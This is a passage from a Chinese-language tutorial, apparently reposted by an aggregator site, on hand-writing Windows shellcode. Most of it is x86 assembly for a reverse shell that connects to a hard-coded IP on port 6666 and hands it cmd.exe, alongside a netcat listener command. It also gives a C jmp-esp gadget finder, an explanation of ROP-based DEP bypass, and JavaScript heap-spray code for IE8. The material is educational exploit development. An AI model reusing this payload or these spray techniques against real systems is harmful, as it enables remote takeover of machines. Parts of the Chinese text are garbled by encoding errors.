pop ecx; ECX=0
push eax ;EAX=LoadLibraryA
mov cx,0x3233 ; 32
push ecx;
push 0x5F327377 ; ws2_
push esp ; "ws2_32"
call eax ; LoadLibrary("ws2_32.dll")


;MessageBoxA address
add esp,0x8 ;pop "ws2_32.dll"
push eax
;ws2_32.dll ;LoadLibraryA 4
;GetStartupInfoA 8
;CreateProcessA ;GetProcAddr 0x10
;Kernel32 0x14



mov edx,[esp+0x10] ;GetProcAddress
xor ecx,ecx
mov cx,0x7075;up
push ecx
push 0x74726174;tart
push 0x53415357 ;WSAS
push esp ;"WSAStartup"
push [esp+0x10];ws2_32.dll
call edx;GetProcAddress("WSAStartup")

add esp,0xc
push eax;WSAStartup

mov edx,[esp+0x14] ;GetProcAddress
mov ebx,[esp+4];ws2_32.dll
xor ecx,ecx
mov cx,0x4174;
push ecx ;tA
push 0x656B636F ;ocke
push 0x53415357 ;WSAS
push esp ;"WSASocket"
push ebx;ws2_32.dll
call edx;GetProcAddress("WSASocket")

add esp,0xc
push eax;WSASocket

mov edx,[esp+0x18] ;GetProcAddress
mov ebx,[esp+8];ws2_32.dll
xor ecx,ecx
push 0x746365 ;ect
push 0x6E6E6F63 ;conn
push esp ;"connect"
push ebx;ws2_32.dll
call edx;GetProcAddress("connect")

;inet_addr
add esp,0x8
push eax;connect
mov edx,[esp+0x1c] ;GetProcAddress
mov ebx,[esp+0xc];ws2_32.dll
xor ecx,ecx
mov cx,0x72;
push ecx;r
push 0x6464615F;_add
push 0x74656E69;inet
push esp ;"inet_addr"
push ebx;ws2_32.dll
call edx;GetProcAddress("inet_addr")

;htons
add esp,0xc
push eax;
mov edx,[esp+0x20] ;GetProcAddress
mov ebx,[esp+0x10];ws2_32.dll
xor ecx,ecx
mov cx,0x73
push ecx;s
push 0x6E6F7468;hton
push esp ;"htons"
push ebx;ws2_32.dll
call edx;GetProcAddress("htons")

add esp,0x8
push eax

;htons ;inet_addr 4
;connect 8
;WSASocket 0xc
;WSAStartup 0x10
;ws2_32.dll 0x14
;LoadLibraryA 0x18
;GetStartupInfoA 1c
;CreateProcessA 0x20
;GetProcAddr 0x24
;Kernel32 0x28

編寫(xiě)Socket部分
到這里,我們的程序已經(jīng)能和服務(wù)器建立TCP連接了
/*Socket部分*/
//WSTartup(0x202,&WSADATA,)
sub esp,0x20
mov eax,[esp+0x30]
push esp;lpWSADATA
push 0x202;wVersionRequested
call eax //if eax->0 sucess.else fail
//WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0)
mov eax,[esp+0x2c];WSASocket
xor ecx,ecx
push ecx
push ecx
push ecx
mov cx,0x6
push ecx
mov cx,0x1
push ecx
inc ecx
push ecx
call eax
push eax; //push socket
//inet_addr(120.79.174.75)
mov eax,[esp+0x28] ;inet_addr
xor ecx,ecx
mov cx,0x35
push ecx;5
push 0x372E3437;74.7
push 0x312E3937;79.1
push 0x2E303231;120.
push esp;
call eax;
add esp,0x10
push eax;push Remote_addr -->sa_data+2
//htons(6666)
mov eax,[esp+0x28] ;htons
push 0x1A0A ;6666
call eax
mov edx,[esp+0x30];connect
//Store sock_addr
push ax;push Remote_ports -->sa_data
mov ax,0x2
push ax;push AF_INET -->sa_family
mov ebx,esp; store sock_addr
//Connect(socket,&sock_addr,sizeof(sock_addr));
/*
00000000 sockaddr struc ; (sizeof=0x10, align=0x2, copyof_12)
00000000 ; XREF: _wmain_0/r
00000000 sa_family --> AF_INET(2) ; XREF: _wmain_0+80/w
00000002 sa_data --> htons(REMOTE_PROT) ; XREF: _wmain_0+75/w
00000004 sa_data+2 --> inet_addr(REMOTE_ADDR) ; _wmain_0+9B/w
00000010 sockaddr ends
*/
push 0x10 ; sizeof(sock_addr)
push ebx ;scok_addr
push [esp+0x10];socket
call edx ;connect ; server#nc -l 6666 (close fire wall)
在本地創(chuàng)建cmd.exe子進(jìn)程
注意這兩個(gè)語(yǔ)句也需要實(shí)現(xiàn),否則只能在本地打開(kāi)一個(gè)shell
#define STARTF_USESTDHANDLES 0x00000100
即使用父進(jìn)程的句柄(我們的Socket也是一個(gè)句柄)而不是全新的句柄。
//si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//si.wShowWindow=SW_HIDE;
/*創(chuàng)建cmd.exe子進(jìn)程*/
/*
00000000 _STARTUPINFOW struc ; (sizeof=0x44, align=0x4, copyof_14)
00000000 ; XREF: _wmain_0/r
00000000 cb ->size 44 ; XREF: _wmain_0+134/w
00000004 lpReserved dd ? ; offset
00000008 lpDesktop dd ? ; offset
0000000C lpTitle dd ? ; offset
00000010 dwX dd ?
00000014 dwY dd ?
00000018 dwXSize dd ?
0000001C dwYSize dd ?
00000020 dwXCountChars dd ?
00000024 dwYCountChars dd ?
00000028 dwFillAttribute dd ?
0000002C dwFlags 0x100
00000030 wShowWindow dw
00000032 cbReserved2 dw ?
00000034 lpReserved2 dd ? ; offset
00000038 hStdInput ->socket ; XREF: _wmain_0+159/w ; offset
0000003C hStdOutput ->socket ; XREF: _wmain_0+14D/w
00000040 hStdError ->socket ; XREF: _wmain_0+141/w
00000040 ; _wmain_0+147/r ; offset
00000044 _STARTUPINFOW ends
00000044
*/
//init _STARTUPINFO
mov esi,[esp+0x8]
push esi; push hStdError
push esi; push hStdOutput
push esi; push StdInput
xor esi,esi
xor ecx,ecx
push esi;
push esi;
push 0x100; dwFlags
mov cx,0xa
PUSH_NULL:
push esi
loop PUSH_NULL
mov ecx,0x44 ;cb
push ecx
mov edx,esp ;_STARTUPINFO
mov ebx,[esp+0x90];CreateProcess
push 0x657865;exe
push 0x2E646D63;cmd.
mov esi,esp ;"cmd.exe"
//CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)
push edx;&pi
push edx ;&si
xor ecx,ecx
push ecx;NULL
push ecx;NULL
push ecx;NULL
inc ecx
push ecx;TRUE
sub ecx,0x1
push ecx;NULL
push ecx;NULL
push esi;cmdline
push ecx;NULL
call ebx;CreateProcess
push eax

在執(zhí)行call之后,你的服務(wù)器會(huì)得到一個(gè)windows的反彈shell。生成Unicode碼之后,繼續(xù)用可憐的IE8來(lái)做實(shí)驗(yàn)。

?0x04 shellcode布置技術(shù)

我們知道在棧溢出中,可以將shellcode布置在??臻g的不同位置,同樣在實(shí)際漏洞利用中,尤其在棧溢出已經(jīng)落寞的今天,堆利用中,布置shellcode方法更是層出不窮,筆者也無(wú)法將所有的方案匯總?cè)?#xff0c;就僅對(duì)目前常見(jiàn)的幾種布置技術(shù)做個(gè)總結(jié)。

Jmp esp /ROP

在Windows中使用jmp esp(跳板技術(shù))的頻率遠(yuǎn)遠(yuǎn)高于linux(雖然這種技術(shù)在linux下也可用),比起將shellcode放在ret地址后面,將shellcode放在棧頂能有效減少空間。通過(guò)調(diào)用jmp esp將程序跳轉(zhuǎn)到shellcode。

雖然在DEP和ASLR盛行的年代,這個(gè)技術(shù)也早已不再有用武之地。但除了對(duì)于研究歷史漏洞幫助,該技術(shù)還是引入ROP這個(gè)概念的一個(gè)前置知識(shí),在學(xué)習(xí)了ROP之后,你會(huì)忽然領(lǐng)悟的。

這次讓我們放下windbg,自己動(dòng)手編程實(shí)現(xiàn)尋找jmp esp

編程實(shí)現(xiàn)尋找gadget

以jmp esp為案例,尋找user32.dll中的所有jmp esp地址。

#include "stdafx.h"#include#define DLL_Name "user32.dll"int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE handle=LoadLibraryA(DLL_Name);if(!handle){printf("load dll errorn");exit(0);
}printf("Load success...n");
BYTE *ptr=(BYTE*)handle;
BOOL flag=false;for(int i=0;!flag;i++)
{try{if(ptr[i]==0xFF&&ptr[i+1]==0xE4) //JMP ESP的十六進(jìn)制碼=0xFFE4printf("ttptr->jmp esp = 0x%xn",((int)ptr+i));
}catch(...)
{int address=(int)ptr+i;printf("END OF 0x%xn",address);
flag=true;
}
}return 0;
}

使用ROP繞過(guò)DEP

ROP技術(shù)是用于繞過(guò)棧不可執(zhí)行(其實(shí)現(xiàn)在的堆也不可執(zhí)行咯),什么是ROP技術(shù)。其實(shí)之前的jmp esp已經(jīng)引出了ROP的基礎(chǔ)理念,即使用程序自身text段的機(jī)器碼執(zhí)行。

ROP的全程面向返回語(yǔ)句的編程,一個(gè)個(gè)gadgets串聯(lián)起來(lái)的鏈叫做ROP鏈。每個(gè)gadgets的格式大概為“ 指令 指令 ret”,通過(guò)ret命令將所有的gadgets串聯(lián)起來(lái)。

如果說(shuō)jmp esp是一個(gè)跳板就直指靶心,那么ROP就是經(jīng)過(guò)好多跳板,分步驟完成自己的命令。

常見(jiàn)的繞過(guò)DEP的案例,就是通過(guò)ROP實(shí)現(xiàn)VirtualProtect來(lái)對(duì)shellcode所在內(nèi)存修改屬性(相當(dāng)于關(guān)閉DEP),將其修改為可執(zhí)行,再通過(guò)JMP R32來(lái)跳轉(zhuǎn)執(zhí)行Shellcode。

具體案例可以參考我之前寫(xiě)的對(duì)IE瀏覽器寫(xiě)的Exploithttps://www.anquanke.com/post/id/190590

HeapSpray

堆噴射是一種shellcode布置技術(shù),常常借助javascript等腳本語(yǔ)言實(shí)現(xiàn),所以常見(jiàn)于瀏覽器漏洞。

上古的堆噴射

在Windows XP SP3以前,Windows下大部分程序都不會(huì)默認(rèn)開(kāi)始DEP(或者不支持),只需要構(gòu)建nop(大量)+shellcode的內(nèi)存塊,使用javascript申請(qǐng)200MB的內(nèi)存空間,能夠覆蓋內(nèi)存的大量空間。只要控制程序流跳轉(zhuǎn)到類似0x0c0c0c0c(也可以是其他位置,只要足夠穩(wěn)定就行)這樣就會(huì)順著nops一路滑到shellcode并且執(zhí)行。

參考代碼

<script language="javascript">
shellcode="u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234u1234";
var nop="u9090u9090";
while(nop.length<=0x100000/2)
{
nop+=nop;
}
nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
//nop=nop.substring(0,0x100000-32/2-4/2-2/2);
var slide=new Array();
for(var i=0;i<200;i++){
slide[i]=nop+shellcode;
// slide[i]=nop;
}script>

精確堆噴射

在Windows進(jìn)入后DEP時(shí)代,面臨DEP和ASLR的雙重防線,DEP導(dǎo)致堆中的數(shù)據(jù)無(wú)法執(zhí)行,之前布置大量數(shù)據(jù)以量取勝的戰(zhàn)術(shù)失去了意義。于是heap-feng-shui(堆風(fēng)水)技術(shù)被提出。

通過(guò)堆風(fēng)水,我們申請(qǐng)0x1000個(gè)0x80000大小的堆塊。分配量足夠大,導(dǎo)致堆塊中的每0x1000個(gè)小的片的開(kāi)始地址都是固定,通常為0xYYYY020。

因此我們能夠?qū)OP鏈的頭部穩(wěn)定對(duì)齊末尾固定的四字節(jié)(例如0xYYYY0050)。這樣就能構(gòu)成某種意義上的精確噴射。

參考文獻(xiàn):http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html

IE8下的參考代碼(shellcode噴射對(duì)齊0x0c0c0c0c)

<html><head><title>title>head><body><script type="text/javascript">
var sc="u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141u4141";
var nop="u0c0cu0c0c";
var offset=0x5ee-4/2;//0xbdc/2-4/2
//以0x10000為單位的shellcode+nop結(jié)構(gòu)單元
while(nop.length<0x10000)
nop+=nop;
var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode編碼,所以0x10000/2個(gè)字節(jié)
var sc_nop=sc+nop_chunk;
//組合成單個(gè)大小為0x80000的堆塊(heap-feng-shui)
while(sc_nop.length<0x100000)
sc_nop+=sc_nop;
sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//組合成0x800000的堆塊
var offset_pattern=nop.substring(0,offset);
code=offset_pattern+sc_nop;
heap_chunks=new Array();
for(i=0;i<1000;i++)
{
heap_chunks[i]=code.substring(0,code.length);
}script>body>html>

參考文獻(xiàn):

[1]peter.《Exploit編寫(xiě)教程》[OL/DB],2010

[2]《現(xiàn)代化windows漏洞程序開(kāi)發(fā)》[OL/DB],2016

[3]Failwest.《0day安全》[M].電子工業(yè)出版社,2011

[4]PEB手工分析

[5]WinXp符號(hào)表不支持解決方案

[6]https://blog.csdn.net/x_nirvana/article/details/68921334

[7]https://blog.csdn.net/hgy413/article/details/7422722

總結(jié)

以上是生活随笔為你收集整理的64位虚拟机下asm()语法_一步步学写Windows下的Shellcode的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。